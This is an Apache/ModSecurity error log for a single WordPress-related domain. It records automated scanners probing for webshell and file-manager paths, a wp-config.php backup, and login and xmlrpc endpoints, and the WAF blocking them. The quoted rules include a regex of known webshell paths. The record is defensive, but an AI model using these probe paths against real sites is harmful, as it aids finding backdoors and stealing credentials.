[Tue May 05 07:54:08.670215 2026] [:error] [pid 41055:tid 41062] [client 45.86.200.88:42945] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "afkxoCepFwKgA_SKOHhKXAAAAQQ"]
[Tue May 05 07:54:09.480428 2026] [:error] [pid 41055:tid 41066] [client 45.86.200.111:62863] [client 45.86.200.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "afkxoSepFwKgA_SKOHhKbAAAAQg"]
[Tue May 05 07:54:10.038719 2026] [:error] [pid 41055:tid 41077] [client 45.86.200.99:64661] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "afkxoiepFwKgA_SKOHhKfAAAARM"]
[Tue May 05 07:54:11.718669 2026] [:error] [pid 53856:tid 53871] [client 45.86.200.100:36801] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "afkxo3G_NPOxSH0O9aRmGQAAAUY"]
[Tue May 05 07:54:12.261885 2026] [:error] [pid 53856:tid 53876] [client 45.86.200.110:55061] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "afkxpHG_NPOxSH0O9aRmMQAAAUs"]
[Tue May 05 07:54:12.833863 2026] [:error] [pid 41055:tid 41065] [client 45.86.200.105:61619] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "afkxpCepFwKgA_SKOHhKtAAAAQc"]
[Tue May 05 07:54:13.713826 2026] [:error] [pid 41055:tid 41080] [client 45.86.200.84:39129] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "afkxpSepFwKgA_SKOHhKzAAAARY"]
[Tue May 05 07:54:14.306375 2026] [:error] [pid 53856:tid 53887] [client 45.86.200.98:25531] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Tue May 05 07:54:25.838382 2026] [:error] [pid 53856:tid 53873] [client 45.86.200.98:25531] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "afkxsXG_NPOxSH0O9aRozgAAAUg"]
[Tue May 05 07:54:56.719119 2026] [:error] [pid 53856:tid 53889] [client 45.86.200.97:33795] [client 45.86.200.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "afkx0HG_NPOxSH0O9aRuBQAAAVg"]
[Tue May 05 07:54:57.323175 2026] [autoindex:error] [pid 39073:tid 39140] [client 45.86.200.111:46825] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:54:59.343902 2026] [:error] [pid 39073:tid 39145] [client 45.86.200.111:46825] [client 45.86.200.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/"] [unique_id "afkx0_0kT1BNjk46BkemcQAAAIs"]
[Tue May 05 07:55:34.696590 2026] [:error] [pid 39072:tid 39119] [client 45.86.200.106:62197] [client 45.86.200.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/travelscape/"] [unique_id "afkx9volSHl4aAnrIotyEgAAAEw"]
[Tue May 05 23:46:27.235831 2026] [:error] [pid 25744:tid 25780] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Tue May 05 23:46:27.291228 2026] [:error] [pid 25744:tid 25778] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Tue May 05 23:46:27.330321 2026] [:error] [pid 25744:tid 25788] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Tue May 05 23:46:27.369444 2026] [:error] [pid 25744:tid 25776] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Tue May 05 23:46:27.387803 2026] [:error] [pid 25744:tid 25782] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Tue May 05 23:46:27.406317 2026] [:error] [pid 25744:tid 25798] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Tue May 05 23:46:27.424926 2026] [:error] [pid 25744:tid 25781] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Tue May 05 23:46:27.444378 2026] [:error] [pid 25744:tid 25792] [client 20.28.242.40:3221] File does not exist: /usr/local/apache/htdocs/suspended-page/meta.php
[Tue May 05 23:46:27.460066 2026] [:error] [pid 25744:tid 25793] [client 20.28.242.40:3221] [client 20.28.242.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afoQ0yR8IuyzjkW06OMW8QAAAJM"]
[Tue May 05 23:46:27.556148 2026] [:error] [pid 25743:tid 25760] [client 20.28.242.40:3806] [client 20.28.242.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afoQ02-PCMRhF5DdUnMZcQAAAA0"]
[Tue May 05 23:46:27.620664 2026] [:error] [pid 25743:tid 25765] [client 20.28.242.40:4869] [client 20.28.242.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afoQ02-PCMRhF5DdUnMZcgAAABI"]
[Tue May 05 23:46:27.684136 2026] [:error] [pid 25743:tid 25753] [client 20.28.242.40:3807] [client 20.28.242.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afoQ02-PCMRhF5DdUnMZcwAAAAY"]
[Wed May 06 09:46:31.003432 2026] [:error] [pid 9664:tid 9776] [client 24.199.92.38:53965] [client 24.199.92.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.92.38, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "afqddwH4OZbrg1SjsBPgpQAAAI4"]
[Wed May 06 09:46:31.007039 2026] [:error] [pid 9664:tid 9776] [client 24.199.92.38:53965] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed May 06 10:49:50.001740 2026] [:error] [pid 9659:tid 9740] [client 157.245.168.15:64154] [client 157.245.168.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.168.15, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "afqsTvwJnWjd8JHpBttSggAAAMY"]
[Wed May 06 10:49:50.005403 2026] [:error] [pid 9659:tid 9740] [client 157.245.168.15:64154] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed May 06 20:37:28.353608 2026] [:error] [pid 9664:tid 9762] [client 138.117.220.84:1688] [client 138.117.220.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.220.84, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afs2CAH4OZbrg1SjsBNEnAAAAIA"]
[Wed May 06 20:37:28.359911 2026] [:error] [pid 9664:tid 9762] [client 138.117.220.84:1688] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 07 02:38:50.326914 2026] [:error] [pid 13443:tid 13456] [client 45.86.202.77:22485] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Thu May 07 06:07:00.064931 2026] [:error] [pid 29710:tid 29714] [client 144.172.99.31:57896] [client 144.172.99.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php.save"] [unique_id "afu7hP0atTQld9Y2ht_pJQAAAMI"]
[Thu May 07 06:52:26.417940 2026] [:error] [pid 4539:tid 4552] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu May 07 06:52:26.608154 2026] [:error] [pid 4539:tid 4562] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu May 07 06:52:26.986740 2026] [:error] [pid 4539:tid 4549] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Thu May 07 06:52:28.462297 2026] [:error] [pid 4539:tid 4544] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu May 07 06:52:28.842687 2026] [:error] [pid 4539:tid 4560] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Thu May 07 06:52:29.032638 2026] [:error] [pid 4539:tid 4543] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu May 07 06:52:29.225028 2026] [:error] [pid 4539:tid 4542] [client 172.202.28.4:3564] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Thu May 07 06:52:29.604685 2026] [:error] [pid 4539:tid 4559] [client 172.202.28.4:3564] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afvGLYPEZE1565sDGnxSaQAAARI"]
[Thu May 07 06:52:30.361175 2026] [:error] [pid 29606:tid 29661] [client 172.202.28.4:3210] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afvGLhR5HjZ1PlSAiKt3tAAAAFQ"]
[Thu May 07 06:52:31.122736 2026] [:error] [pid 29606:tid 29664] [client 172.202.28.4:3557] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afvGLxR5HjZ1PlSAiKt3tQAAAFc"]
[Thu May 07 06:52:31.871708 2026] [:error] [pid 29710:tid 29731] [client 172.202.28.4:3520] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afvGL_0atTQld9Y2ht_9zgAAANM"]
[Thu May 07 08:33:11.680084 2026] [:error] [pid 56066:tid 56138] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/nyan.php
[Thu May 07 08:33:11.893740 2026] [:error] [pid 56066:tid 56128] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-k7djufwez2.php
[Thu May 07 08:33:12.106535 2026] [:error] [pid 56066:tid 56146] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/bc.php
[Thu May 07 08:33:12.382270 2026] [:error] [pid 56066:tid 56126] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu May 07 08:33:12.597883 2026] [:error] [pid 56066:tid 56145] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Thu May 07 08:33:12.836504 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Thu May 07 08:33:13.049599 2026] [:error] [pid 56066:tid 56139] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Thu May 07 08:33:13.263030 2026] [:error] [pid 56066:tid 56143] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/xxa.php
[Thu May 07 08:33:13.485350 2026] [:error] [pid 56066:tid 56128] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/3369.php
[Thu May 07 08:33:13.700440 2026] [:error] [pid 56066:tid 56134] [client 20.104.207.18:63519] File does not exist: /usr/local/apache/htdocs/suspended-page/dostshell.php
[Thu May 07 08:33:13.910650 2026] [:error] [pid 56066:tid 56136] [client 20.104.207.18:63519] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "afvdyUYS8DGwDvklLv5wGwAAAM0"]
[Thu May 07 08:33:14.324884 2026] [:error] [pid 56064:tid 56090] [client 20.104.207.18:53449] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "afvdyisGkZZUEf_7QCP6pwAAABU"]
[Thu May 07 08:33:14.782631 2026] [:error] [pid 56065:tid 56117] [client 20.104.207.18:63523] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "afvdyndV4hYThdnhfxCnsQAAAJU"]
[Thu May 07 08:33:15.197397 2026] [:error] [pid 56150:tid 56158] [client 20.104.207.18:53457] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "afvdy9u4duXJJeTigXTXJQAAAEY"]
[Thu May 07 08:33:15.615684 2026] [:error] [pid 56150:tid 56176] [client 20.104.207.18:53452] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "afvdy9u4duXJJeTigXTXKAAAAFg"]
[Thu May 07 08:33:16.063479 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:63568] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "afvdzNu4duXJJeTigXTXKwAAAEE"]
[Thu May 07 08:33:16.500801 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:63524] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "afvdzNu4duXJJeTigXTXLgAAAEU"]
[Thu May 07 08:33:16.920525 2026] [:error] [pid 56066:tid 56133] [client 20.104.207.18:63554] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "afvdzEYS8DGwDvklLv5wHwAAAMo"]
[Thu May 07 08:33:17.340012 2026] [:error] [pid 56065:tid 56112] [client 20.104.207.18:63612] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "afvdzXdV4hYThdnhfxCnuQAAAJA"]
[Thu May 07 08:33:17.768301 2026] [:error] [pid 56065:tid 56119] [client 20.104.207.18:63614] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "afvdzXdV4hYThdnhfxCnvQAAAJc"]
[Thu May 07 08:33:18.253620 2026] [:error] [pid 56065:tid 56099] [client 20.104.207.18:63576] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "afvdzndV4hYThdnhfxCnvwAAAIM"]
[Thu May 07 08:33:18.730270 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:63548] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "afvdztu4duXJJeTigXTXMAAAAEA"]
[Thu May 07 08:33:19.207745 2026] [:error] [pid 56064:tid 56075] [client 20.104.207.18:63600] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "afvdzysGkZZUEf_7QCP6rAAAAAY"]
[Thu May 07 08:33:19.709464 2026] [:error] [pid 56066:tid 56131] [client 20.104.207.18:63583] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "afvdz0YS8DGwDvklLv5wIgAAAMg"]
[Thu May 07 08:33:20.131730 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:63531] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "afvd0Nu4duXJJeTigXTXNgAAAEw"]
[Thu May 07 08:33:20.570460 2026] [:error] [pid 56064:tid 56069] [client 20.104.207.18:63500] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "afvd0CsGkZZUEf_7QCP6sQAAAAA"]
[Thu May 07 08:33:21.018805 2026] [:error] [pid 56066:tid 56145] [client 20.104.207.18:63506] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "afvd0UYS8DGwDvklLv5wJAAAANY"]
[Thu May 07 08:33:21.455405 2026] [:error] [pid 56150:tid 56163] [client 20.104.207.18:63534] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "afvd0du4duXJJeTigXTXPAAAAEs"]
[Thu May 07 08:33:21.895170 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:63538] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "afvd0du4duXJJeTigXTXPgAAAE8"]
[Thu May 07 08:33:22.654967 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:63566] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "afvd0tu4duXJJeTigXTXQQAAAEE"]
[Thu May 07 08:33:23.086968 2026] [:error] [pid 56150:tid 56170] [client 20.104.207.18:49608] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "afvd09u4duXJJeTigXTXRAAAAFI"]
[Thu May 07 08:33:23.514811 2026] [:error] [pid 56064:tid 56074] [client 20.104.207.18:63533] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "afvd0ysGkZZUEf_7QCP6uQAAAAU"]
